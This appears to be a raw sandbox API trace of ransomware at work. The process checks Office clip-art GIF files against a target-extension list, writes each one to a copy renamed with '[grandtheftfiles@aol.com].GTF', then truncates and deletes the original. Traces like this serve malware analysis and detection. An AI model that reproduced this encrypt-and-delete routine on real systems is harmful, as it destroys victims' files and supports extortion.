	[0078.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0078.934] lstrlenW (lpString=".jpg") returned 4
	[0078.934] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0078.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0078.934] lstrlenW (lpString=".doc") returned 4
	[0078.934] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.934] lstrlenW (lpString=".docx") returned 5
	[0078.934] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.934] lstrlenW (lpString=".pdf") returned 4
	[0078.934] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.934] lstrlenW (lpString=".xls") returned 4
	[0078.934] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.934] lstrlenW (lpString=".xlsx") returned 5
	[0078.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.935] lstrlenW (lpString=".ppt") returned 4
	[0078.935] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0078.935] lstrlenW (lpString=".zip") returned 4
	[0078.935] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.935] lstrlenW (lpString=".rar") returned 4
	[0078.935] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.935] lstrlenW (lpString=".bz2") returned 4
	[0078.935] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.935] lstrlenW (lpString=".7z") returned 3
	[0078.935] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0078.935] lstrlenW (lpString=".dbf") returned 4
	[0078.935] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0078.935] lstrlenW (lpString=".1cd") returned 4
	[0078.935] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0078.935] lstrlenW (lpString=".jpg") returned 4
	[0078.935] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.935] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.935] lstrlenW (lpString="AG00165_.GIF") returned 12
	[0078.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0078.939] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=8582) returned 1
	[0078.939] CloseHandle (hObject=0x370) returned 1
	[0078.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0x220
	[0078.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0078.939] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.939] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.940] GetLastError () returned 0x0
	[0078.940] ReadFile (in: hFile=0x370, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x2186, lpOverlapped=0x0) returned 1
	[0078.942] WriteFile (in: hFile=0x340, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x2190, lpOverlapped=0x0) returned 1
	[0078.943] ReadFile (in: hFile=0x370, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.943] WriteFile (in: hFile=0x340, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.943] SetEndOfFile (hFile=0x340) returned 1
	[0078.944] CloseHandle (hObject=0x340) returned 1
	[0078.945] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.945] SetEndOfFile (hFile=0x370) returned 1
	[0078.946] CloseHandle (hObject=0x370) returned 1
	[0078.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 1
	[0078.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0078.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0078.947] lstrlenW (lpString=".doc") returned 4
	[0078.947] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.947] lstrlenW (lpString=".docx") returned 5
	[0078.947] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.947] lstrlenW (lpString=".pdf") returned 4
	[0078.947] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.947] lstrlenW (lpString=".xls") returned 4
	[0078.947] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.947] lstrlenW (lpString=".xlsx") returned 5
	[0078.947] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.947] lstrlenW (lpString=".ppt") returned 4
	[0078.947] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0078.947] lstrlenW (lpString=".zip") returned 4
	[0078.947] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.947] lstrlenW (lpString=".rar") returned 4
	[0078.947] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.947] lstrlenW (lpString=".bz2") returned 4
	[0078.947] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.947] lstrlenW (lpString=".7z") returned 3
	[0078.947] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0078.948] lstrlenW (lpString=".dbf") returned 4
	[0078.948] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0078.948] lstrlenW (lpString=".1cd") returned 4
	[0078.948] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0078.948] lstrlenW (lpString=".jpg") returned 4
	[0078.948] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0078.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0078.948] lstrlenW (lpString=".doc") returned 4
	[0078.948] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.948] lstrlenW (lpString=".docx") returned 5
	[0078.948] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.948] lstrlenW (lpString=".pdf") returned 4
	[0078.948] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.948] lstrlenW (lpString=".xls") returned 4
	[0078.948] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.948] lstrlenW (lpString=".xlsx") returned 5
	[0078.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.948] lstrlenW (lpString=".ppt") returned 4
	[0078.948] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0078.948] lstrlenW (lpString=".zip") returned 4
	[0078.948] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.948] lstrlenW (lpString=".rar") returned 4
	[0078.948] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.949] lstrlenW (lpString=".bz2") returned 4
	[0078.949] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.949] lstrlenW (lpString=".7z") returned 3
	[0078.949] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0078.949] lstrlenW (lpString=".dbf") returned 4
	[0078.949] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0078.949] lstrlenW (lpString=".1cd") returned 4
	[0078.949] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0078.949] lstrlenW (lpString=".jpg") returned 4
	[0078.949] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.949] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.949] lstrlenW (lpString="AG00167_.GIF") returned 12
	[0078.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0078.950] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=4894) returned 1
	[0078.950] CloseHandle (hObject=0x370) returned 1
	[0078.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220
	[0078.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0078.950] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.950] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.951] GetLastError () returned 0x0
	[0078.951] ReadFile (in: hFile=0x370, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x131e, lpOverlapped=0x0) returned 1
	[0078.956] WriteFile (in: hFile=0x340, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1320, lpOverlapped=0x0) returned 1
	[0078.957] ReadFile (in: hFile=0x370, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.957] WriteFile (in: hFile=0x340, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.957] SetEndOfFile (hFile=0x340) returned 1
	[0078.957] CloseHandle (hObject=0x340) returned 1
	[0078.958] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.959] SetEndOfFile (hFile=0x370) returned 1
	[0078.960] CloseHandle (hObject=0x370) returned 1
	[0078.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 1
	[0078.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0078.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0078.960] lstrlenW (lpString=".doc") returned 4
	[0078.960] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.961] lstrlenW (lpString=".docx") returned 5
	[0078.961] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.961] lstrlenW (lpString=".pdf") returned 4
	[0078.961] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.961] lstrlenW (lpString=".xls") returned 4
	[0078.961] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.961] lstrlenW (lpString=".xlsx") returned 5
	[0078.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.961] lstrlenW (lpString=".ppt") returned 4
	[0078.961] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0078.961] lstrlenW (lpString=".zip") returned 4
	[0078.961] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.961] lstrlenW (lpString=".rar") returned 4
	[0078.961] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.961] lstrlenW (lpString=".bz2") returned 4
	[0078.961] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.961] lstrlenW (lpString=".7z") returned 3
	[0078.961] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0078.961] lstrlenW (lpString=".dbf") returned 4
	[0078.961] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0078.961] lstrlenW (lpString=".1cd") returned 4
	[0078.961] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0078.961] lstrlenW (lpString=".jpg") returned 4
	[0078.961] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0078.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0078.961] lstrlenW (lpString=".doc") returned 4
	[0078.962] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.962] lstrlenW (lpString=".docx") returned 5
	[0078.962] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.962] lstrlenW (lpString=".pdf") returned 4
	[0078.962] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.962] lstrlenW (lpString=".xls") returned 4
	[0078.962] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.962] lstrlenW (lpString=".xlsx") returned 5
	[0078.962] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.962] lstrlenW (lpString=".ppt") returned 4
	[0078.962] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0078.962] lstrlenW (lpString=".zip") returned 4
	[0078.962] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.962] lstrlenW (lpString=".rar") returned 4
	[0078.962] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.962] lstrlenW (lpString=".bz2") returned 4
	[0078.962] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.962] lstrlenW (lpString=".7z") returned 3
	[0078.962] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0078.962] lstrlenW (lpString=".dbf") returned 4
	[0078.962] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0078.962] lstrlenW (lpString=".1cd") returned 4
	[0078.962] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0078.962] lstrlenW (lpString=".jpg") returned 4
	[0078.962] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.963] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.963] lstrlenW (lpString="AG00169_.GIF") returned 12
	[0078.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0078.964] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=5375) returned 1
	[0078.964] CloseHandle (hObject=0x370) returned 1
	[0078.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 0x220
	[0078.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0078.964] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.964] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.965] GetLastError () returned 0x0
	[0078.965] ReadFile (in: hFile=0x370, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x14ff, lpOverlapped=0x0) returned 1
	[0079.192] WriteFile (in: hFile=0x340, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1500, lpOverlapped=0x0) returned 1
	[0079.193] ReadFile (in: hFile=0x370, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0079.193] WriteFile (in: hFile=0x340, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0079.193] SetEndOfFile (hFile=0x340) returned 1
	[0080.013] CloseHandle (hObject=0x340) returned 1
	[0080.017] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.017] SetEndOfFile (hFile=0x370) returned 1
	[0080.018] CloseHandle (hObject=0x370) returned 1
	[0080.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0080.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 1
	[0080.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0080.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0080.021] lstrlenW (lpString=".doc") returned 4
	[0080.022] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.022] lstrlenW (lpString=".docx") returned 5
	[0080.022] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.022] lstrlenW (lpString=".pdf") returned 4
	[0080.029] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.030] lstrlenW (lpString=".xls") returned 4
	[0080.030] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.030] lstrlenW (lpString=".xlsx") returned 5
	[0080.030] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.030] lstrlenW (lpString=".ppt") returned 4
	[0080.030] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0080.345] lstrlenW (lpString=".zip") returned 4
	[0080.345] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.345] lstrlenW (lpString=".rar") returned 4
	[0080.345] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.345] lstrlenW (lpString=".bz2") returned 4
	[0080.345] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.346] lstrlenW (lpString=".7z") returned 3
	[0080.346] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0080.346] lstrlenW (lpString=".dbf") returned 4
	[0080.346] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
